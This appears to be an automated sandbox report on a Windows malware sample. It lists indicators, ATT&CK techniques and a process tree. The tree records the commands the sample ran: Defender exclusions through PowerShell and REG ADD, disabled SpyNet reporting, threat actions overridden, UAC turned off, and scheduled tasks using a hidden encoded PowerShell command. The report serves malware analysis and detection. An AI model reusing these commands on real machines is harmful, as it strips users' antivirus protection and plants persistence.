c60b93b23b27e726bcdbc8cbf3915d3cbb312843eea8ad2175020389a4944e74

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	forfiles.exe

Windows security bypass 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe = "0"	f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Drops startup file 6 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\S3s8QVkYmmarHKtMASZAZ9rF.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sX6JHbQ8bdhtTp5PdfpZ7Mx9.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\T5BlQCcHmcLdFZ2zD9P0vIzo.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tsWDsYHwMugtdrZYZWLV2BCH.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3dFXATRSj8GALZibgtbAnfKv.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AFCfJlXFXeSu1HYvDNmWDz67.bat	CasPol.exe

Executes dropped EXE 12 IoCs

pid	Process
4296	UFgh6gQFjxezwkLuXW6vhMcD.exe
2876	UCiFD62PAihRsIPhdrabhizx.exe
3452	nv1mES58NibHPEcrQeBtzUL2.exe
3984	Broom.exe
1952	oCOglTlWTgfuGMPs6eg5rtcN.exe
4032	9EYgzJrYTTk3ZAdTU2FZymv1.exe
1140	oCOglTlWTgfuGMPs6eg5rtcN.exe
3548	oCOglTlWTgfuGMPs6eg5rtcN.exe
4792	oCOglTlWTgfuGMPs6eg5rtcN.exe
4952	Install.exe
4580	oCOglTlWTgfuGMPs6eg5rtcN.exe
3696	Install.exe

Loads dropped DLL 5 IoCs

pid	Process
1952	oCOglTlWTgfuGMPs6eg5rtcN.exe
1140	oCOglTlWTgfuGMPs6eg5rtcN.exe
3548	oCOglTlWTgfuGMPs6eg5rtcN.exe
4792	oCOglTlWTgfuGMPs6eg5rtcN.exe
4580	oCOglTlWTgfuGMPs6eg5rtcN.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 16 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0006000000022d91-98.dat	upx
behavioral2/memory/1952-101-0x00000000008B0000-0x0000000000DD9000-memory.dmp	upx
behavioral2/files/0x0006000000022d91-84.dat	upx
behavioral2/files/0x0006000000022d91-109.dat	upx
behavioral2/memory/1140-118-0x00000000008B0000-0x0000000000DD9000-memory.dmp	upx
behavioral2/files/0x0006000000022da4-120.dat	upx
behavioral2/memory/3548-122-0x00000000009B0000-0x0000000000ED9000-memory.dmp	upx
behavioral2/files/0x0006000000022d91-116.dat	upx
behavioral2/memory/3548-126-0x00000000009B0000-0x0000000000ED9000-memory.dmp	upx
behavioral2/files/0x0006000000022d91-130.dat	upx
behavioral2/memory/4792-135-0x00000000008B0000-0x0000000000DD9000-memory.dmp	upx
behavioral2/files/0x0006000000022d91-139.dat	upx
behavioral2/memory/4580-143-0x00000000008B0000-0x0000000000DD9000-memory.dmp	upx
behavioral2/memory/1952-200-0x00000000008B0000-0x0000000000DD9000-memory.dmp	upx
behavioral2/memory/4792-202-0x00000000008B0000-0x0000000000DD9000-memory.dmp	upx
behavioral2/memory/4580-203-0x00000000008B0000-0x0000000000DD9000-memory.dmp	upx

Windows security modification 2 TTPs 3 IoCs

evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe = "0"	f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe

Enumerates connected drives 3 TTPs 4 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\D:	oCOglTlWTgfuGMPs6eg5rtcN.exe
File opened (read-only)	\??\F:	oCOglTlWTgfuGMPs6eg5rtcN.exe
File opened (read-only)	\??\D:	oCOglTlWTgfuGMPs6eg5rtcN.exe
File opened (read-only)	\??\F:	oCOglTlWTgfuGMPs6eg5rtcN.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2312 set thread context of 4200	2312	forfiles.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2476	schtasks.exe
3976	schtasks.exe
4392	schtasks.exe
3988	schtasks.exe
4648	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4684	powershell.exe
4684	reg.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4200	CasPol.exe
Token: SeDebugPrivilege	4684	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3984	Broom.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 4684	2312	forfiles.exe	84
PID 2312 wrote to memory of 4684	2312	forfiles.exe	84
PID 2312 wrote to memory of 4684	2312	forfiles.exe	84
PID 2312 wrote to memory of 4200	2312	forfiles.exe	87
PID 2312 wrote to memory of 4200	2312	forfiles.exe	87
PID 2312 wrote to memory of 4200	2312	forfiles.exe	87
PID 2312 wrote to memory of 4200	2312	forfiles.exe	87
PID 2312 wrote to memory of 4200	2312	forfiles.exe	87
PID 2312 wrote to memory of 4200	2312	forfiles.exe	87
PID 2312 wrote to memory of 4200	2312	forfiles.exe	87
PID 2312 wrote to memory of 4200	2312	forfiles.exe	87
PID 4200 wrote to memory of 4296	4200	CasPol.exe	88
PID 4200 wrote to memory of 4296	4200	CasPol.exe	88
PID 4200 wrote to memory of 4296	4200	CasPol.exe	88
PID 4200 wrote to memory of 2876	4200	CasPol.exe	89
PID 4200 wrote to memory of 2876	4200	CasPol.exe	89
PID 4200 wrote to memory of 2876	4200	CasPol.exe	89
PID 4200 wrote to memory of 3452	4200	CasPol.exe	90
PID 4200 wrote to memory of 3452	4200	CasPol.exe	90
PID 4200 wrote to memory of 3452	4200	CasPol.exe	90
PID 2876 wrote to memory of 3984	2876	UCiFD62PAihRsIPhdrabhizx.exe	91
PID 2876 wrote to memory of 3984	2876	UCiFD62PAihRsIPhdrabhizx.exe	91
PID 2876 wrote to memory of 3984	2876	UCiFD62PAihRsIPhdrabhizx.exe	91
PID 4200 wrote to memory of 1952	4200	CasPol.exe	92
PID 4200 wrote to memory of 1952	4200	CasPol.exe	92
PID 4200 wrote to memory of 1952	4200	CasPol.exe	92
PID 4200 wrote to memory of 4032	4200	CasPol.exe	93
PID 4200 wrote to memory of 4032	4200	CasPol.exe	93
PID 4200 wrote to memory of 4032	4200	CasPol.exe	93
PID 1952 wrote to memory of 1140	1952	oCOglTlWTgfuGMPs6eg5rtcN.exe	94
PID 1952 wrote to memory of 1140	1952	oCOglTlWTgfuGMPs6eg5rtcN.exe	94
PID 1952 wrote to memory of 1140	1952	oCOglTlWTgfuGMPs6eg5rtcN.exe	94
PID 1952 wrote to memory of 3548	1952	oCOglTlWTgfuGMPs6eg5rtcN.exe	95
PID 1952 wrote to memory of 3548	1952	oCOglTlWTgfuGMPs6eg5rtcN.exe	95
PID 1952 wrote to memory of 3548	1952	oCOglTlWTgfuGMPs6eg5rtcN.exe	95
PID 1952 wrote to memory of 4792	1952	oCOglTlWTgfuGMPs6eg5rtcN.exe	97
PID 1952 wrote to memory of 4792	1952	oCOglTlWTgfuGMPs6eg5rtcN.exe	97
PID 1952 wrote to memory of 4792	1952	oCOglTlWTgfuGMPs6eg5rtcN.exe	97
PID 4032 wrote to memory of 4952	4032	9EYgzJrYTTk3ZAdTU2FZymv1.exe	96
PID 4032 wrote to memory of 4952	4032	9EYgzJrYTTk3ZAdTU2FZymv1.exe	96
PID 4032 wrote to memory of 4952	4032	9EYgzJrYTTk3ZAdTU2FZymv1.exe	96
PID 4792 wrote to memory of 4580	4792	oCOglTlWTgfuGMPs6eg5rtcN.exe	98
PID 4792 wrote to memory of 4580	4792	oCOglTlWTgfuGMPs6eg5rtcN.exe	98
PID 4792 wrote to memory of 4580	4792	oCOglTlWTgfuGMPs6eg5rtcN.exe	98
PID 4952 wrote to memory of 3696	4952	Install.exe	99
PID 4952 wrote to memory of 3696	4952	Install.exe	99
PID 4952 wrote to memory of 3696	4952	Install.exe	99

C:\Users\Admin\AppData\Local\Temp\f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe
"C:\Users\Admin\AppData\Local\Temp\f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe"
1⤵
- Windows security bypass
- Windows security modification
PID:2312
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4684
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
  2⤵
  - Drops startup file
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4200
- - C:\Users\Admin\Pictures\UFgh6gQFjxezwkLuXW6vhMcD.exe
    "C:\Users\Admin\Pictures\UFgh6gQFjxezwkLuXW6vhMcD.exe"
    3⤵
    - Executes dropped EXE
    PID:4296
- - C:\Users\Admin\Pictures\UCiFD62PAihRsIPhdrabhizx.exe
    "C:\Users\Admin\Pictures\UCiFD62PAihRsIPhdrabhizx.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2876
  - - C:\Users\Admin\AppData\Local\Temp\Broom.exe
      C:\Users\Admin\AppData\Local\Temp\Broom.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:3984
- - C:\Users\Admin\Pictures\nv1mES58NibHPEcrQeBtzUL2.exe
    "C:\Users\Admin\Pictures\nv1mES58NibHPEcrQeBtzUL2.exe"
    3⤵
    - Executes dropped EXE
    PID:3452
- - C:\Users\Admin\Pictures\oCOglTlWTgfuGMPs6eg5rtcN.exe
    "C:\Users\Admin\Pictures\oCOglTlWTgfuGMPs6eg5rtcN.exe" --silent --allusers=0
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Enumerates connected drives
    - Suspicious use of WriteProcessMemory
    PID:1952
  - - C:\Users\Admin\Pictures\oCOglTlWTgfuGMPs6eg5rtcN.exe
      C:\Users\Admin\Pictures\oCOglTlWTgfuGMPs6eg5rtcN.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6ef774f0,0x6ef77500,0x6ef7750c
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1140
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\oCOglTlWTgfuGMPs6eg5rtcN.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\oCOglTlWTgfuGMPs6eg5rtcN.exe" --version
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3548
  - - C:\Users\Admin\Pictures\oCOglTlWTgfuGMPs6eg5rtcN.exe
      "C:\Users\Admin\Pictures\oCOglTlWTgfuGMPs6eg5rtcN.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=1952 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20231119215000" --session-guid=635616cf-5793-4a09-9f1f-9b67859f8568 --server-tracking-blob=NWY4ODE0ODUyMWY5Zjk2MThiNWY2YTg3MGIwYTMzNzIxMGJkZTE4ZGZiYTg5ZWM4ZDc0NWQ0YmZhYjNjYzAxMzp7ImNvdW50cnkiOiJOTCIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcwMDQzMDU5NS4wMTM1IiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiJhYTA5YjlhMi04MmYxLTQwMTgtYWI1ZC01ZmQ1N2FiMGZlMDIifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=EC04000000000000
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Enumerates connected drives
      Suspicious use of WriteProcessMemory
      PID:4792
    - - C:\Users\Admin\Pictures\oCOglTlWTgfuGMPs6eg5rtcN.exe
        
        C:\Users\Admin\Pictures\oCOglTlWTgfuGMPs6eg5rtcN.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e0,0x2f0,0x2f4,0x2bc,0x2f8,0x6db874f0,0x6db87500,0x6db8750c
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4580
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202311192150001\assistant\Assistant_103.0.4928.25_Setup.exe_sfx.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202311192150001\assistant\Assistant_103.0.4928.25_Setup.exe_sfx.exe"
      4⤵
      PID:988
  - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202311192150001\assistant\assistant_installer.exe
      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202311192150001\assistant\assistant_installer.exe" --version
      4⤵
      PID:4724
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202311192150001\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202311192150001\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=103.0.4928.25 --initial-client-data=0x268,0x26c,0x270,0x244,0x274,0x671588,0x671598,0x6715a4
        5⤵
        
        PID:640
- - C:\Users\Admin\Pictures\9EYgzJrYTTk3ZAdTU2FZymv1.exe
    "C:\Users\Admin\Pictures\9EYgzJrYTTk3ZAdTU2FZymv1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4032
  - - C:\Users\Admin\AppData\Local\Temp\7zS3563.tmp\Install.exe
      .\Install.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4952
    - - C:\Users\Admin\AppData\Local\Temp\7zS45ED.tmp\Install.exe
        
        .\Install.exe /Ojdidxev "385118" /S
        5⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:3696
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        6⤵
        UAC bypass
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2312
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        7⤵
        
        PID:468
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        8⤵
        
        PID:3280
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        8⤵
        
        PID:4860
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        6⤵
        
        PID:548
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        7⤵
        
        PID:3928
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        8⤵
        
        PID:2140
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        8⤵
        
        PID:2636
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gpPwlBMDc" /SC once /ST 20:09:40 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        6⤵
        Creates scheduled task(s)
        
        PID:2476
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gpPwlBMDc"
        6⤵
        
        PID:4068
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gpPwlBMDc"
        6⤵
        
        PID:5008
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bFvsKFifcttmubYYTU" /SC once /ST 21:51:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\YmqzWwwqxJQdhSTVN\PfzJEsvfSkvLAaT\mhdkOUY.exe\" 1c /YUsite_idmOd 385118 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:3976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:1720

C:\Users\Admin\AppData\Local\Temp\YmqzWwwqxJQdhSTVN\PfzJEsvfSkvLAaT\mhdkOUY.exe
C:\Users\Admin\AppData\Local\Temp\YmqzWwwqxJQdhSTVN\PfzJEsvfSkvLAaT\mhdkOUY.exe 1c /YUsite_idmOd 385118 /S
1⤵
PID:1012
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:2936
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4436
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:724
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1912
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
